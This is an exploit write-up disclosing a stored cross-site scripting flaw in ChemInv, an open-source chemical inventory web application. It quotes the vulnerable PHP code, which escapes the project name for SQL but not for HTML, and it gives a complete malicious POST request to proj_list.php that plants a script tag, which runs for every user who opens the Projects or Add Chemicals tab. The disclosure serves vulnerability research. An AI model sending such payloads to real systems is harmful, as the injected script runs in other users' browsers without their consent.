# Exploit Title: ChemInv - Authenticated Persistent Cross-Site Scripting
# Exploit Author: Bobby Cooke
# Date: 2020-04-29
# Software Link: https://github.com/tmorrell/cheminv
# Software Info:
# "Cheminv is a web-based chemical inventory system. This responsive database provides an accessible way to organize and order chemicals, and is provided as an open-source package for all non-commercial users."
# "Cheminv was created by Thomas Morrell for the Haw Yang Lab at Princeton University"
# "Cheminv is based on ecDB www.ecDB.net, which was created by Nils Fredriksson aka. ElectricMan and designed by Buildlog."
# Version: 1
# Tested On: CentOS
# Vulnerability Type:
# ChemInv suffers from a persistent cross-site scripting vulnerability(XSS). This vulnerability can be exploited to have all users of the system, with read access to the project, execute malicious client-side code; every time the users views the 'Projects' or 'Add Chemicals' tab.
# The application's source code mitigates SQL injection (SQLi), but fails to sanitize HTML and JavaScript injections to the SQL database.
# Vulnerable Source Code
## proj_list.php
33 include('include/include_proj_add.php');
34 $AddProj = new ProjAdd;
35 $AddProj->AddProj();
36
37 $proj_query = mysql_query("SELECT * FROM projects WHERE project_owner= $owner");
## include/include_proj_add.php
2 class ProjAdd {
3 public function AddProj () {
4
5 require_once('include/login/auth.php');
6 include('include/mysql_connect.php');
7
8 if(isset($_POST['submit'])) {
9 $owner = $_SESSION['SESS_MEMBER_ID'];
10 $name = mysql_real_escape_string($_POST['name']);
11
12 if ($name == '') {
13 echo '<div class="message red">';
14 echo 'You have to specify a name!';
15 echo '</div>';
16 }
17 else {
18 $sql="INSERT into projects (project_owner, project_name) VALUES ('$owner', '$name')";
19 $sql_exec = mysql_query($sql);
# Malicious POST Request to https://TARGET/proj_list.php
POST /proj_list.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/proj_list.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Connection: close
Cookie: PHPSESSID=7af5kg3to8fstfum0to1ukpb85
name=evilProject<script>alert('XSS');</script>&submit=
